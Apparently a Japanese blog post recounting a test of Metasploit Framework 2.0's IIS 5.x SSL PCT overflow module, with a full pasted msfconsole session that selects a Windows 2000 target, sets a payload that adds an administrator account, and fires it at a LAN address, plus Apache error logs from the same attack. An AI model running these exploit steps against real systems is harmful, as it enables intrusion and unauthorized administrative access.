1 IISのSSLなPCTのアレ

某所でFull-Disclosureで流れていたMetasploit Microsoft IIS SSL PCT Moduleが紹介されていたのので試してみた。

Metasploitって知らないなぁと思ったらぐぐった日本語検索上位でtessyさんとこが。流石っ。

MetasploitというのはUnixなやつと、Cygwinなやつと用意されていて、お手軽にexploitを撃つことができるような代物。

簡単には大人の道具か、ガキのオモチャか?--セキュリティテストツールに賛否(japan.cnet.com)あたりを読んでいただいて、実際に今回のIISのSSLなPCTのアレを打ち込む課程がどのような具合か次にコピペしたものをご覧ください。

ちなみに途中show exploitsで列挙されて出てくるものは１つをのぞいて最初からMetasploit Framework 2.0に含まれるものだ。

                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
      \/     \/  v2.0    \/     \/ |__|

+ -- --=[ msfconsole v2.0 [19 exploits - 27 payloads]

msf > show exploits

Metasploit Framework Loaded Exploits
====================================
  apache_chunked_win32       Apache Win32 Chunked Encoding
  blackice_pam_icq           Blackice/RealSecure/Other ISS ICQ Parser Buffer Overflow
  exchange2000_xexch50       Exchange 2000 MS03-46 Heap Overflow
  frontpage_fp30reg_chunked  Frontpage fp30reg.dll Chunked Encoding
  ia_webmail                 IA WebMail 3.x Buffer Overflow
  iis50_nsiislog_post        IIS 5.0 nsiislog.dll POST Overflow
  iis50_printer_overflow     IIS 5.0 Printer Buffer Overflow
  iis50_webdav_ntdll         IIS 5.0 WebDAV ntdll.dll Overflow
  iis5x_ssl_pct              IIS 5.x SSL PCT Overflow
  imail_ldap                 IMail LDAP Service Buffer Overflow
  msrpc_dcom_ms03_026        Microsoft RPC DCOM MSO3-026
  mssql2000_resolution       MSSQL 2000 Resolution Overflow
  poptop_negative_read       PoPToP Negative Read Overflow
  realserver_describe_linux  RealServer Describe Buffer Overflow
  samba_trans2open           Samba trans2open Overflow
  sambar6_search_results     Sambar 6 Search Results Buffer Overflow
  servu_mdtm_overflow        Serv-U FTPD MDTM Overflow
  solaris_sadmind_exec       Solaris sadmind Command Execution
  warftpd_165_pass           War-FTPD 1.65 PASS Overflow


msf > use iis5x_ssl_pct


msf iis5x_ssl_pct > show
msfconsole: show: specify 'options', 'advanced', 'targets', or 'payloads'


msf iis5x_ssl_pct > show options
Exploit Options
===============
  Exploit:    Name      Default    Description
  --------    ------    -------    ------------------
  required    RHOST                The target address
  required    RPORT     443        The target port



msf iis5x_ssl_pct > show advanced
Exploit Options
===============
  Exploit (Msf::Exploit::iis5x_ssl_pct):
  --------------------------------------



msf iis5x_ssl_pct > show targets
Supported Exploit Targets
=========================
   0  Windows 2000 SP4
   1  Windows 2000 SP3
   2  Windows 2000 SP2
   3  Windows 2000 SP1
   4  Windows XP SP0
   5  Windows XP SP1


msf iis5x_ssl_pct > show payloads
Metasploit Framework Usable Payloads
====================================
  winadduser               Create a new user and add to local Administrators group
  winbind                  Listen for connection and spawn a shell
  winbind_stg              Listen for connection and spawn a shell
  winbind_stg_upexec       Listen for connection then upload and exec file
  winexec                  Execute an arbitrary command
  winreverse               Connect back to attacker and spawn a shell
  winreverse_stg           Connect back to attacker and spawn a shell
  winreverse_stg_ie        Listen for connection, send address of GP/LL across,read/exec InlineEgg
  winreverse_stg_upexec    Connect back to attacker and spawn a shell


msf iis5x_ssl_pct > set TARGET 0
TARGET -> 0


msf iis5x_ssl_pct > set PAYLOAD winadduser
PAYLOAD -> winadduser


msf iis5x_ssl_pct(winadduser) > show options
Exploit and Payload Options
===========================
  Exploit:    Name      Default    Description
  --------    ------    -------    ------------------
  required    RHOST                The target address
  required    RPORT     443        The target port

  Payload:    Name        Default    Description
  --------    --------    -------    ------------------------------------------

  required    PASS                   The password for this user
  optional    EXITFUNC    seh        Exit technique: "process", "thread", "seh"
  required    USER                   The username to create



msf iis5x_ssl_pct(winadduser) > set RHOST 192.168.0.2
RHOST -> 192.168.0.2


msf iis5x_ssl_pct(winadduser) > set PASS hoge
PASS -> hoge


msf iis5x_ssl_pct(winadduser) > set USER huga
USER -> huga


msf iis5x_ssl_pct(winadduser) > show options
Exploit and Payload Options
===========================
  Exploit:    Name      Default                       Description
  --------    ------    --------------------------    ------------------
  required    RHOST     192.168.0.2    The target address
  required    RPORT     443                           The target port

  Payload:    Name        Default    Description
  --------    --------    -------    ------------------------------------------

  required    PASS        hoge       The password for this user
  optional    EXITFUNC    seh        Exit technique: "process", "thread", "seh"
  required    USER        huga       The username to create



msf iis5x_ssl_pct(winadduser) > set
PASS: hoge
PAYLOAD: winadduser
RHOST: 192.168.0.2
TARGET: 0
USER: huga


msf iis5x_ssl_pct(winadduser) > exploit
[*] Attempting to exploit target Windows 2000 SP4
[*] Sending 289 bytes to remote host.
[*] Waiting for a response...

ご覧の通り簡単に撃ち込めてしまいます。

ということでMetasploit Framework 2.0には賛否両論あるようですけど、頑張って欲しいなぁと思った次第。

2 IISのSSLなPCTのアレ

をApache1.3.29(確か)に撃ち込むと次のようなerrorログが。THCとMetasploit Framework 2.0のやつとどちらも同じみたい。そもそも下記エラーの意味するところが分からないのアレですが(笑

[error] mod_ssl: SSL handshake failed (server 192.168.0.2:443, client 192.168.0.3) (OpenSSL library error follows)
[error] OpenSSL: error:140760FC:SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol [Hint: speaking not SSL to HTTPS port!?]